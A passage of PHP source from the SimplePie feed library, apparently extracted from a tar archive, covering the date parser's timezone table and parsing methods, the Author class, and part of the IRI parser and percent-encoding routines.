        'AKST' => -32400,
        'AMDT' => 18000,
        'AMT' => -14400,
        'ANAST' => 46800,
        'ANAT' => 43200,
        'ART' => -10800,
        'AZOST' => -3600,
        'AZST' => 18000,
        'AZT' => 14400,
        'BIOT' => 21600,
        'BIT' => -43200,
        'BOT' => -14400,
        'BRST' => -7200,
        'BRT' => -10800,
        'BST' => 3600,
        'BTT' => 21600,
        'CAST' => 18000,
        'CAT' => 7200,
        'CCT' => 23400,
        'CDT' => -18000,
        'CEDT' => 7200,
        'CEST' => 7200,
        'CET' => 3600,
        'CGST' => -7200,
        'CGT' => -10800,
        'CHADT' => 49500,
        'CHAST' => 45900,
        'CIST' => -28800,
        'CKT' => -36000,
        'CLDT' => -10800,
        'CLST' => -14400,
        'COT' => -18000,
        'CST' => -21600,
        'CVT' => -3600,
        'CXT' => 25200,
        'DAVT' => 25200,
        'DTAT' => 36000,
        'EADT' => -18000,
        'EAST' => -21600,
        'EAT' => 10800,
        'ECT' => -18000,
        'EDT' => -14400,
        'EEST' => 10800,
        'EET' => 7200,
        'EGT' => -3600,
        'EKST' => 21600,
        'EST' => -18000,
        'FJT' => 43200,
        'FKDT' => -10800,
        'FKST' => -14400,
        'FNT' => -7200,
        'GALT' => -21600,
        'GEDT' => 14400,
        'GEST' => 10800,
        'GFT' => -10800,
        'GILT' => 43200,
        'GIT' => -32400,
        'GST' => 14400,
        // 'GST' => -7200,
        'GYT' => -14400,
        'HAA' => -10800,
        'HAC' => -18000,
        'HADT' => -32400,
        'HAE' => -14400,
        'HAP' => -25200,
        'HAR' => -21600,
        'HAST' => -36000,
        'HAT' => -9000,
        'HAY' => -28800,
        'HKST' => 28800,
        'HMT' => 18000,
        'HNA' => -14400,
        'HNC' => -21600,
        'HNE' => -18000,
        'HNP' => -28800,
        'HNR' => -25200,
        'HNT' => -12600,
        'HNY' => -32400,
        'IRDT' => 16200,
        'IRKST' => 32400,
        'IRKT' => 28800,
        'IRST' => 12600,
        'JFDT' => -10800,
        'JFST' => -14400,
        'JST' => 32400,
        'KGST' => 21600,
        'KGT' => 18000,
        'KOST' => 39600,
        'KOVST' => 28800,
        'KOVT' => 25200,
        'KRAST' => 28800,
        'KRAT' => 25200,
        'KST' => 32400,
        'LHDT' => 39600,
        'LHST' => 37800,
        'LINT' => 50400,
        'LKT' => 21600,
        'MAGST' => 43200,
        'MAGT' => 39600,
        'MAWT' => 21600,
        'MDT' => -21600,
        'MESZ' => 7200,
        'MEZ' => 3600,
        'MHT' => 43200,
        'MIT' => -34200,
        'MNST' => 32400,
        'MSDT' => 14400,
        'MSST' => 10800,
        'MST' => -25200,
        'MUT' => 14400,
        'MVT' => 18000,
        'MYT' => 28800,
        'NCT' => 39600,
        'NDT' => -9000,
        'NFT' => 41400,
        'NMIT' => 36000,
        'NOVST' => 25200,
        'NOVT' => 21600,
        'NPT' => 20700,
        'NRT' => 43200,
        'NST' => -12600,
        'NUT' => -39600,
        'NZDT' => 46800,
        'NZST' => 43200,
        'OMSST' => 25200,
        'OMST' => 21600,
        'PDT' => -25200,
        'PET' => -18000,
        'PETST' => 46800,
        'PETT' => 43200,
        'PGT' => 36000,
        'PHOT' => 46800,
        'PHT' => 28800,
        'PKT' => 18000,
        'PMDT' => -7200,
        'PMST' => -10800,
        'PONT' => 39600,
        'PST' => -28800,
        'PWT' => 32400,
        'PYST' => -10800,
        'PYT' => -14400,
        'RET' => 14400,
        'ROTT' => -10800,
        'SAMST' => 18000,
        'SAMT' => 14400,
        'SAST' => 7200,
        'SBT' => 39600,
        'SCDT' => 46800,
        'SCST' => 43200,
        'SCT' => 14400,
        'SEST' => 3600,
        'SGT' => 28800,
        'SIT' => 28800,
        'SRT' => -10800,
        'SST' => -39600,
        'SYST' => 10800,
        'SYT' => 7200,
        'TFT' => 18000,
        'THAT' => -36000,
        'TJT' => 18000,
        'TKT' => -36000,
        'TMT' => 18000,
        'TOT' => 46800,
        'TPT' => 32400,
        'TRUT' => 36000,
        'TVT' => 43200,
        'TWT' => 28800,
        'UYST' => -7200,
        'UYT' => -10800,
        'UZT' => 18000,
        'VET' => -14400,
        'VLAST' => 39600,
        'VLAT' => 36000,
        'VOST' => 21600,
        'VUT' => 39600,
        'WAST' => 7200,
        'WAT' => 3600,
        'WDT' => 32400,
        'WEST' => 3600,
        'WFT' => 43200,
        'WIB' => 25200,
        'WIT' => 32400,
        'WITA' => 28800,
        'WKST' => 18000,
        'WST' => 28800,
        'YAKST' => 36000,
        'YAKT' => 32400,
        'YAPT' => 36000,
        'YEKST' => 21600,
        'YEKT' => 18000,
    ];

    /**
     * Cached PCRE for Date::$day
     *
     * @access protected
     * @var string
     */
    public $day_pcre;

    /**
     * Cached PCRE for Date::$month
     *
     * @access protected
     * @var string
     */
    public $month_pcre;

    /**
     * Array of user-added callback methods
     *
     * @access private
     * @var array<string>
     */
    public $built_in = [];

    /**
     * Array of user-added callback methods
     *
     * @access private
     * @var array<callable(string): (int|false)>
     */
    public $user = [];

    /**
     * Create new Date object, and set self::day_pcre,
     * self::month_pcre, and self::built_in
     *
     * @access private
     */
    public function __construct()
    {
        $this->day_pcre = '(' . implode('|', array_keys($this->day)) . ')';
        $this->month_pcre = '(' . implode('|', array_keys($this->month)) . ')';

        static $cache;
        if (!isset($cache[get_class($this)])) {
            $all_methods = get_class_methods($this);

            foreach ($all_methods as $method) {
                if (strtolower(substr($method, 0, 5)) === 'date_') {
                    $cache[get_class($this)][] = $method;
                }
            }
        }

        foreach ($cache[get_class($this)] as $method) {
            $this->built_in[] = $method;
        }
    }

    /**
     * Get the object
     *
     * @access public
     * @return Date
     */
    public static function get()
    {
        static $object;
        if (!$object) {
            $object = new Date();
        }
        return $object;
    }

    /**
     * Parse a date
     *
     * @final
     * @access public
     * @param string $date Date to parse
     * @return int|false Timestamp corresponding to date string, or false on failure
     */
    public function parse(string $date)
    {
        foreach ($this->user as $method) {
            if (($returned = call_user_func($method, $date)) !== false) {
                return (int) $returned;
            }
        }

        foreach ($this->built_in as $method) {
            // TODO: we should really check this in constructor but that would require private properties.
            /** @var callable(string): (int|false) */
            $callable = [$this, $method];
            if (($returned = call_user_func($callable, $date)) !== false) {
                return $returned;
            }
        }

        return false;
    }

    /**
     * Add a callback method to parse a date
     *
     * @final
     * @access public
     * @param callable $callback
     * @return void
     */
    public function add_callback(callable $callback)
    {
        $this->user[] = $callback;
    }

    /**
     * Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as
     * well as allowing any of upper or lower case "T", horizontal tabs, or
     * spaces to be used as the time separator (including more than one))
     *
     * @access protected
     * @param string $date
     * @return int|false Timestamp
     */
    public function date_w3cdtf(string $date)
    {
        $pcre = <<<'PCRE'
            /
            ^
            (?P<year>[0-9]{4})
            (?:
                -?
                (?P<month>[0-9]{2})
                (?:
                    -?
                    (?P<day>[0-9]{2})
                    (?:
                        [Tt\x09\x20]+
                        (?P<hour>[0-9]{2})
                        (?:
                            :?
                            (?P<minute>[0-9]{2})
                            (?:
                                :?
                                (?P<second>[0-9]{2})
                                (?:
                                    .
                                    (?P<second_fraction>[0-9]*)
                                )?
                            )?
                        )?
                        (?:
                            (?P<zulu>Z)
                            |   (?P<tz_sign>[+\-])
                                (?P<tz_hour>[0-9]{1,2})
                                :?
                                (?P<tz_minute>[0-9]{1,2})
                        )
                    )?
                )?
            )?
            $
            /x
PCRE;
        if (preg_match($pcre, $date, $match)) {
            // Fill in empty matches and convert to proper types.
            $year = (int) $match['year'];
            $month = isset($match['month']) ? (int) $match['month'] : 1;
            $day = isset($match['day']) ? (int) $match['day'] : 1;
            $hour = isset($match['hour']) ? (int) $match['hour'] : 0;
            $minute = isset($match['minute']) ? (int) $match['minute'] : 0;
            $second = isset($match['second']) ? (int) $match['second'] : 0;
            $second_fraction = isset($match['second_fraction']) ? ((int) $match['second_fraction']) / (10 ** strlen($match['second_fraction'])) : 0;
            $tz_sign = ($match['tz_sign'] ?? '') === '-' ? -1 : 1;
            $tz_hour = isset($match['tz_hour']) ? (int) $match['tz_hour'] : 0;
            $tz_minute = isset($match['tz_minute']) ? (int) $match['tz_minute'] : 0;

            // Numeric timezone
            $timezone = $tz_hour * 3600;
            $timezone += $tz_minute * 60;
            $timezone *= $tz_sign;

            // Convert the number of seconds to an integer, taking decimals into account
            $second = (int) round($second + $second_fraction);

            return gmmktime($hour, $minute, $second, $month, $day, $year) - $timezone;
        }

        return false;
    }

    /**
     * Remove RFC822 comments
     *
     * @access protected
     * @param string $string Data to strip comments from
     * @return string Comment stripped string
     */
    public function remove_rfc2822_comments(string $string)
    {
        $position = 0;
        $length = strlen($string);
        $depth = 0;

        $output = '';

        while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) {
            $output .= substr($string, $position, $pos - $position);
            $position = $pos + 1;
            if ($pos === 0 || $string[$pos - 1] !== '\\') {
                $depth++;
                while ($depth && $position < $length) {
                    $position += strcspn($string, '()', $position);
                    if ($string[$position - 1] === '\\') {
                        $position++;
                        continue;
                    } elseif (isset($string[$position])) {
                        switch ($string[$position]) {
                            case '(':
                                $depth++;
                                break;

                            case ')':
                                $depth--;
                                break;
                        }
                        $position++;
                    } else {
                        break;
                    }
                }
            } else {
                $output .= '(';
            }
        }
        $output .= substr($string, $position);

        return $output;
    }

    /**
     * Parse RFC2822's date format
     *
     * @access protected
     * @param string $date
     * @return int|false Timestamp
     */
    public function date_rfc2822(string $date)
    {
        static $pcre;
        if (!$pcre) {
            $wsp = '[\x09\x20]';
            $fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)';
            $optional_fws = $fws . '?';
            $day_name = $this->day_pcre;
            $month = $this->month_pcre;
            $day = '([0-9]{1,2})';
            $hour = $minute = $second = '([0-9]{2})';
            $year = '([0-9]{2,4})';
            $num_zone = '([+\-])([0-9]{2})([0-9]{2})';
            $character_zone = '([A-Z]{1,5})';
            $zone = '(?:' . $num_zone . '|' . $character_zone . ')';
            $pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i';
        }
        if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match)) {
            /*
            Capturing subpatterns:
            1: Day name
            2: Day
            3: Month
            4: Year
            5: Hour
            6: Minute
            7: Second
            8: Timezone ±
            9: Timezone hours
            10: Timezone minutes
            11: Alphabetic timezone
            */

            $day = (int) $match[2];
            // Find the month number
            $month = $this->month[strtolower($match[3])];
            $year = (int) $match[4];
            $hour = (int) $match[5];
            $minute = (int) $match[6];
            // Second is optional, if it is empty set it to zero
            $second = (int) $match[7];

            $tz_sign = $match[8];
            $tz_hour = (int) $match[9];
            $tz_minute = (int) $match[10];
            $tz_code = isset($match[11]) ? strtoupper($match[11]) : '';

            // Numeric timezone
            if ($tz_sign !== '') {
                $timezone = $tz_hour * 3600;
                $timezone += $tz_minute * 60;
                if ($tz_sign === '-') {
                    $timezone = 0 - $timezone;
                }
            }
            // Character timezone
            elseif (isset($this->timezone[$tz_code])) {
                $timezone = $this->timezone[$tz_code];
            }
            // Assume everything else to be -0000
            else {
                $timezone = 0;
            }

            // Deal with 2/3 digit years
            if ($year < 50) {
                $year += 2000;
            } elseif ($year < 1000) {
                $year += 1900;
            }

            return gmmktime($hour, $minute, $second, $month, $day, $year) - $timezone;
        }

        return false;
    }

    /**
     * Parse RFC850's date format
     *
     * @access protected
     * @param string $date
     * @return int|false Timestamp
     */
    public function date_rfc850(string $date)
    {
        static $pcre;
        if (!$pcre) {
            $space = '[\x09\x20]+';
            $day_name = $this->day_pcre;
            $month = $this->month_pcre;
            $day = '([0-9]{1,2})';
            $year = $hour = $minute = $second = '([0-9]{2})';
            $zone = '([A-Z]{1,5})';
            $pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i';
        }
        if (preg_match($pcre, $date, $match)) {
            /*
            Capturing subpatterns:
            1: Day name
            2: Day
            3: Month
            4: Year
            5: Hour
            6: Minute
            7: Second
            8: Timezone
            */

            $day = (int) $match[2];
            // Month
            $month = $this->month[strtolower($match[3])];
            $year = (int) $match[4];
            $hour = (int) $match[5];
            $minute = (int) $match[6];
            // Second is optional, if it is empty set it to zero
            $second = (int) $match[7];

            $tz_code = strtoupper($match[8]);

            // Character timezone
            if (isset($this->timezone[$tz_code])) {
                $timezone = $this->timezone[$tz_code];
            }
            // Assume everything else to be -0000
            else {
                $timezone = 0;
            }

            // Deal with 2 digit year
            if ($year < 50) {
                $year += 2000;
            } else {
                $year += 1900;
            }

            return gmmktime($hour, $minute, $second, $month, $day, $year) - $timezone;
        }

        return false;
    }

    /**
     * Parse C99's asctime()'s date format
     *
     * @access protected
     * @param string $date
     * @return int|false Timestamp
     */
    public function date_asctime(string $date)
    {
        static $pcre;
        if (!$pcre) {
            $space = '[\x09\x20]+';
            $wday_name = $this->day_pcre;
            $mon_name = $this->month_pcre;
            $day = '([0-9]{1,2})';
            $hour = $sec = $min = '([0-9]{2})';
            $year = '([0-9]{4})';
            $terminator = '\x0A?\x00?';
            $pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i';
        }
        if (preg_match($pcre, $date, $match)) {
            /*
            Capturing subpatterns:
            1: Day name
            2: Month
            3: Day
            4: Hour
            5: Minute
            6: Second
            7: Year
            */

            $month = $this->month[strtolower($match[2])];
            return gmmktime((int) $match[4], (int) $match[5], (int) $match[6], $month, (int) $match[3], (int) $match[7]);
        }

        return false;
    }

    /**
     * Parse dates using strtotime()
     *
     * @access protected
     * @param string $date
     * @return int|false Timestamp
     */
    public function date_strtotime(string $date)
    {
        $strtotime = strtotime($date);
        if ($strtotime === -1 || $strtotime === false) {
            return false;
        }

        return $strtotime;
    }
}

class_alias('SimplePie\Parse\Date', 'SimplePie_Parse_Date');
Author.php000064400000003562152222652070006530 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Manages all author-related data
 *
 * Used by {@see Item::get_author()} and {@see SimplePie::get_authors()}
 *
 * This class can be overloaded with {@see SimplePie::set_author_class()}
 */
class Author
{
    /**
     * Author's name
     *
     * @var ?string
     * @see get_name()
     */
    public $name;

    /**
     * Author's link
     *
     * @var ?string
     * @see get_link()
     */
    public $link;

    /**
     * Author's email address
     *
     * @var ?string
     * @see get_email()
     */
    public $email;

    /**
     * Constructor, used to input the data
     */
    public function __construct(
        ?string $name = null,
        ?string $link = null,
        ?string $email = null
    ) {
        $this->name = $name;
        $this->link = $link;
        $this->email = $email;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Author's name
     *
     * @return string|null
     */
    public function get_name()
    {
        if ($this->name !== null) {
            return $this->name;
        }

        return null;
    }

    /**
     * Author's link
     *
     * @return string|null
     */
    public function get_link()
    {
        if ($this->link !== null) {
            return $this->link;
        }

        return null;
    }

    /**
     * Author's email address
     *
     * @return string|null
     */
    public function get_email()
    {
        if ($this->email !== null) {
            return $this->email;
        }

        return null;
    }
}

class_alias('SimplePie\Author', 'SimplePie_Author');
IRI.php000064400000103767152222652070005721 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-FileCopyrightText: 2008 Steve Minutillo
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * IRI parser/serialiser/normaliser
 *
 * @property ?string $scheme
 * @property ?string $userinfo
 * @property ?string $host
 * @property ?int $port
 * @property-write int|string|null $port
 * @property ?string $authority
 * @property string $path
 * @property ?string $query
 * @property ?string $fragment
 */
class IRI
{
    /**
     * Scheme
     *
     * @var ?string
     */
    protected $scheme = null;

    /**
     * User Information
     *
     * @var ?string
     */
    protected $iuserinfo = null;

    /**
     * ihost
     *
     * @var ?string
     */
    protected $ihost = null;

    /**
     * Port
     *
     * @var ?int
     */
    protected $port = null;

    /**
     * ipath
     *
     * @var string
     */
    protected $ipath = '';

    /**
     * iquery
     *
     * @var ?string
     */
    protected $iquery = null;

    /**
     * ifragment
     *
     * @var ?string
     */
    protected $ifragment = null;

    /**
     * Normalization database
     *
     * Each key is the scheme, each value is an array with each key as the IRI
     * part and value as the default value for that part.
     *
     * @var array<string, array<string, mixed>>
     */
    protected $normalization = [
        'acap' => [
            'port' => 674
        ],
        'dict' => [
            'port' => 2628
        ],
        'file' => [
            'ihost' => 'localhost'
        ],
        'http' => [
            'port' => 80,
            'ipath' => '/'
        ],
        'https' => [
            'port' => 443,
            'ipath' => '/'
        ],
    ];

    /**
     * Return the entire IRI when you try and read the object as a string
     *
     * @return string
     */
    public function __toString()
    {
        return (string) $this->get_iri();
    }

    /**
     * Overload __set() to provide access via properties
     *
     * @param string $name Property name
     * @param mixed $value Property value
     * @return void
     */
    public function __set(string $name, $value)
    {
        $callable = [$this, 'set_' . $name];
        if (is_callable($callable)) {
            call_user_func($callable, $value);
        } elseif (
            $name === 'iauthority'
            || $name === 'iuserinfo'
            || $name === 'ihost'
            || $name === 'ipath'
            || $name === 'iquery'
            || $name === 'ifragment'
        ) {
            call_user_func([$this, 'set_' . substr($name, 1)], $value);
        }
    }

    /**
     * Overload __get() to provide access via properties
     *
     * @param string $name Property name
     * @return mixed
     */
    public function __get(string $name)
    {
        // isset() returns false for null, we don't want to do that
        // Also why we use array_key_exists below instead of isset()
        $props = get_object_vars($this);

        if (
            $name === 'iri' ||
            $name === 'uri' ||
            $name === 'iauthority' ||
            $name === 'authority'
        ) {
            $return = $this->{"get_$name"}();
        } elseif (array_key_exists($name, $props)) {
            $return = $this->$name;
        }
        // host -> ihost
        elseif (array_key_exists($prop = 'i' . $name, $props)) {
            $name = $prop;
            $return = $this->$prop;
        }
        // ischeme -> scheme
        elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) {
            $name = $prop;
            $return = $this->$prop;
        } else {
            trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
            $return = null;
        }

        if ($return === null && isset($this->scheme, $this->normalization[$this->scheme][$name])) {
            return $this->normalization[$this->scheme][$name];
        }

        return $return;
    }

    /**
     * Overload __isset() to provide access via properties
     *
     * @param string $name Property name
     * @return bool
     */
    public function __isset(string $name)
    {
        return method_exists($this, 'get_' . $name) || isset($this->$name);
    }

    /**
     * Overload __unset() to provide access via properties
     *
     * @param string $name Property name
     * @return void
     */
    public function __unset(string $name)
    {
        $callable = [$this, 'set_' . $name];
        if (is_callable($callable)) {
            call_user_func($callable, '');
        }
    }

    /**
     * Create a new IRI object, from a specified string
     *
     * @param string|null $iri
     */
    public function __construct(?string $iri = null)
    {
        $this->set_iri($iri);
    }

    /**
     * Clean up
     * @return void
     */
    public function __destruct()
    {
        $this->set_iri(null, true);
        $this->set_path(null, true);
        $this->set_authority(null, true);
    }

    /**
     * Create a new IRI object by resolving a relative IRI
     *
     * Returns false if $base is not absolute, otherwise an IRI.
     *
     * @param IRI|string $base (Absolute) Base IRI
     * @param IRI|string $relative Relative IRI
     * @return IRI|false
     */
    public static function absolutize($base, $relative)
    {
        if (!($relative instanceof IRI)) {
            $relative = new IRI($relative);
        }
        if (!$relative->is_valid()) {
            return false;
        } elseif ($relative->scheme !== null) {
            return clone $relative;
        } else {
            if (!($base instanceof IRI)) {
                $base = new IRI($base);
            }
            if ($base->scheme !== null && $base->is_valid()) {
                if ($relative->get_iri() !== '') {
                    if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) {
                        $target = clone $relative;
                        $target->scheme = $base->scheme;
                    } else {
                        $target = new IRI();
                        $target->scheme = $base->scheme;
                        $target->iuserinfo = $base->iuserinfo;
                        $target->ihost = $base->ihost;
                        $target->port = $base->port;
                        if ($relative->ipath !== '') {
                            if ($relative->ipath[0] === '/') {
                                $target->ipath = $relative->ipath;
                            } elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') {
                                $target->ipath = '/' . $relative->ipath;
                            } elseif (($last_segment = strrpos($base->ipath, '/')) !== false) {
                                $target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
                            } else {
                                $target->ipath = $relative->ipath;
                            }
                            $target->ipath = $target->remove_dot_segments($target->ipath);
                            $target->iquery = $relative->iquery;
                        } else {
                            $target->ipath = $base->ipath;
                            if ($relative->iquery !== null) {
                                $target->iquery = $relative->iquery;
                            } elseif ($base->iquery !== null) {
                                $target->iquery = $base->iquery;
                            }
                        }
                        $target->ifragment = $relative->ifragment;
                    }
                } else {
                    $target = clone $base;
                    $target->ifragment = null;
                }
                $target->scheme_normalization();
                return $target;
            }

            return false;
        }
    }

    /**
     * Parse an IRI into scheme/authority/path/query/fragment segments
     *
     * @param string $iri
     * @return array{
     *   scheme: string|null,
     *   authority: string|null,
     *   path: string,
     *   query: string|null,
     *   fragment: string|null,
     * }|false
     */
    protected function parse_iri(string $iri)
    {
        $iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
        if (preg_match('/^(?:(?P<scheme>[^:\/?#]+):)?(:?\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(?:\?(?P<query>[^#]*))?(?:#(?P<fragment>.*))?$/', $iri, $match, \PREG_UNMATCHED_AS_NULL)) {
            // TODO: Remove once we require PHP ≥ 7.4.
            $match['query'] = $match['query'] ?? null;
            $match['fragment'] = $match['fragment'] ?? null;
            return $match;
        }

        // This can occur when a paragraph is accidentally parsed as a URI
        return false;
    }

    /**
     * Remove dot segments from a path
     *
     * @param string $input
     * @return string
     */
    protected function remove_dot_segments(string $input)
    {
        $output = '';
        while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') {
            // A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise,
            if (strpos($input, '../') === 0) {
                $input = substr($input, 3);
            } elseif (strpos($input, './') === 0) {
                $input = substr($input, 2);
            }
            // B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise,
            elseif (strpos($input, '/./') === 0) {
                $input = substr($input, 2);
            } elseif ($input === '/.') {
                $input = '/';
            }
            // C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise,
            elseif (strpos($input, '/../') === 0) {
                $input = substr($input, 3);
                $output = substr_replace($output, '', intval(strrpos($output, '/')));
            } elseif ($input === '/..') {
                $input = '/';
                $output = substr_replace($output, '', intval(strrpos($output, '/')));
            }
            // D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise,
            elseif ($input === '.' || $input === '..') {
                $input = '';
            }
            // E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer
            elseif (($pos = strpos($input, '/', 1)) !== false) {
                $output .= substr($input, 0, $pos);
                $input = substr_replace($input, '', 0, $pos);
            } else {
                $output .= $input;
                $input = '';
            }
        }
        return $output . $input;
    }

    /**
     * Replace invalid character with percent encoding
     *
     * @param string $string Input string
     * @param string $extra_chars Valid characters not in iunreserved or
     *                            iprivate (this is ASCII-only)
     * @param bool $iprivate Allow iprivate
     * @return string
     */
    protected function replace_invalid_with_pct_encoding(string $string, string $extra_chars, bool $iprivate = false)
    {
        // Normalize as many pct-encoded sections as possible
        $string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', [$this, 'remove_iunreserved_percent_encoded'], $string);
        \assert(\is_string($string), "For PHPStan: Should not occur, the regex is valid");

        // Replace invalid percent characters
        $string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string);
        \assert(\is_string($string), "For PHPStan: Should not occur, the regex is valid");

        // Add unreserved and % to $extra_chars (the latter is safe because all
        // pct-encoded sections are now valid).
        $extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';

        // Now replace any bytes that aren't allowed with their pct-encoded versions
        $position = 0;
        $strlen = strlen($string);
        while (($position += strspn($string, $extra_chars, $position)) < $strlen) {
            $value = ord($string[$position]);
            $character = 0;

            // Start position
            $start = $position;

            // By default we are valid
            $valid = true;

            // No one byte sequences are valid due to the while.
            // Two byte sequence:
            if (($value & 0xE0) === 0xC0) {
                $character = ($value & 0x1F) << 6;
                $length = 2;
                $remaining = 1;
            }
            // Three byte sequence:
            elseif (($value & 0xF0) === 0xE0) {
                $character = ($value & 0x0F) << 12;
                $length = 3;
                $remaining = 2;
            }
            // Four byte sequence:
            elseif (($value & 0xF8) === 0xF0) {
                $character = ($value & 0x07) << 18;
                $length = 4;
                $remaining = 3;
            }
            // Invalid byte:
            else {
                $valid = false;
                $length = 1;
                $remaining = 0;
            }

            if ($remaining) {
                if ($position + $length <= $strlen) {
                    for ($position++; $remaining; $position++) {
                        $value = ord($string[$position]);

                        // Check that the byte is valid, then add it to the character:
                        if (($value & 0xC0) === 0x80) {
                            $character |= ($value & 0x3F) << (--$remaining * 6);
                        }
                        // If it is invalid, count the sequence as invalid and reprocess the current byte:
                        else {
                            $valid = false;
                            $position--;
                            break;
                        }
                    }
                } else {
                    $position = $strlen - 1;
                    $valid = false;
                }
            }

            // Percent encode anything invalid or not in ucschar
            if (
                // Invalid sequences
                !$valid
                // Non-shortest form sequences are invalid
                || $length > 1 && $character <= 0x7F
                || $length > 2 && $character <= 0x7FF
                || $length > 3 && $character <= 0xFFFF
                // Outside of range of ucschar codepoints
                // Noncharacters
                || ($character & 0xFFFE) === 0xFFFE
                || $character >= 0xFDD0 && $character <= 0xFDEF
                || (
                    // Everything else not in ucschar
                    $character > 0xD7FF && $character < 0xF900
                    || $character < 0xA0
                    || $character > 0xEFFFD
                )
                && (
                    // Everything not in iprivate, if it applies
                    !$iprivate
                    || $character < 0xE000
                    || $character > 0x10FFFD
                )
            ) {
                // If we were a character, pretend we weren't, but rather an error.
                if ($valid) {
                    $position--;
                }

                for ($j = $start; $j <= $position; $j++) {
                    $string = substr_replace($string, sprintf('%%%02X', ord($string[$j])), $j, 1);
                    $j += 2;
                    $position += 2;
                    $strlen += 2;
                }
            }
        }

        return $string;
    }

    /**
     * Callback function for preg_replace_callback.
     *
     * Removes sequences of percent encoded bytes that represent UTF-8
     * encoded characters in iunreserved
     *
     * @param array{string} $match PCRE match, a capture group #0 consisting of a sequence of valid percent-encoded bytes
     * @return string Replacement
     */
    protected function remove_iunreserved_percent_encoded(array $match)
    {
        // As we just have valid percent encoded sequences we can just explode
        // and ignore the first member of the returned array (an empty string).
        $bytes = explode('%', $match[0]);

        // Initialize the new string (this is what will be returned) and that
        // there are no bytes remaining in the current sequence (unsurprising
        // at the first byte!).
        $string = '';
        $remaining = 0;

        // these variables will be initialized in the loop but PHPStan is not able to detect it currently
        $start = 0;
        $character = 0;
        $length = 0;
        $valid = true;

        // Loop over each and every byte, and set $value to its value
        for ($i = 1, $len = count($bytes); $i < $len; $i++) {
            $value = hexdec($bytes[$i]);

            // If we're the first byte of sequence:
            if (!$remaining) {
                // Start position
                $start = $i;

                // By default we are valid
                $valid = true;

                // One byte sequence:
                if ($value <= 0x7F) {
                    $character = $value;
                    $length = 1;
                }
                // Two byte sequence:
                elseif (($value & 0xE0) === 0xC0) {
                    $character = ($value & 0x1F) << 6;
                    $length = 2;
                    $remaining = 1;
                }
                // Three byte sequence:
                elseif (($value & 0xF0) === 0xE0) {
                    $character = ($value & 0x0F) << 12;
                    $length = 3;
                    $remaining = 2;
                }
                // Four byte sequence:
                elseif (($value & 0xF8) === 0xF0) {
                    $character = ($value & 0x07) << 18;
                    $length = 4;
                    $remaining = 3;
                }
                // Invalid byte:
                else {
                    $valid = false;
                    $remaining = 0;
                }
            }
            // Continuation byte:
            else {
                // Check that the byte is valid, then add it to the character:
                if (($value & 0xC0) === 0x80) {
                    $remaining--;
                    $character |= ($value & 0x3F) << ($remaining * 6);
                }
                // If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
                else {
                    $valid = false;
                    $remaining = 0;
                    $i--;
                }
            }

            // If we've reached the end of the current byte sequence, append it to Unicode::$data
            if (!$remaining) {
                // Percent encode anything invalid or not in iunreserved
                if (
                    // Invalid sequences
                    !$valid
                    // Non-shortest form sequences are invalid
                    || $length > 1 && $character <= 0x7F
                    || $length > 2 && $character <= 0x7FF
                    || $length > 3 && $character <= 0xFFFF
                    // Outside of range of iunreserved codepoints
                    || $character < 0x2D
                    || $character > 0xEFFFD
                    // Noncharacters
                    || ($character & 0xFFFE) === 0xFFFE
                    || $character >= 0xFDD0 && $character <= 0xFDEF
                    // Everything else not in iunreserved (this is all BMP)
                    || $character === 0x2F
                    || $character > 0x39 && $character < 0x41
                    || $character > 0x5A && $character < 0x61
                    || $character > 0x7A && $character < 0x7E
                    || $character > 0x7E && $character < 0xA0
                    || $character > 0xD7FF && $character < 0xF900
                ) {
                    for ($j = $start; $j <= $i; $j++) {
                        $string .= '%' . strtoupper($bytes[$j]);
                    }
                } else {
                    for ($j = $start; $j <= $i; $j++) {
                        // Cast for PHPStan, this will always be a number between 0 and 0xFF so hexdec will return int.
                        $string .= chr((int) hexdec($bytes[$j]));
                    }
                }
            }
        }

        // If we have any bytes left over they are invalid (i.e., we are
        // mid-way through a multi-byte sequence)
        if ($remaining) {
            for ($j = $start; $j < $len; $j++) {
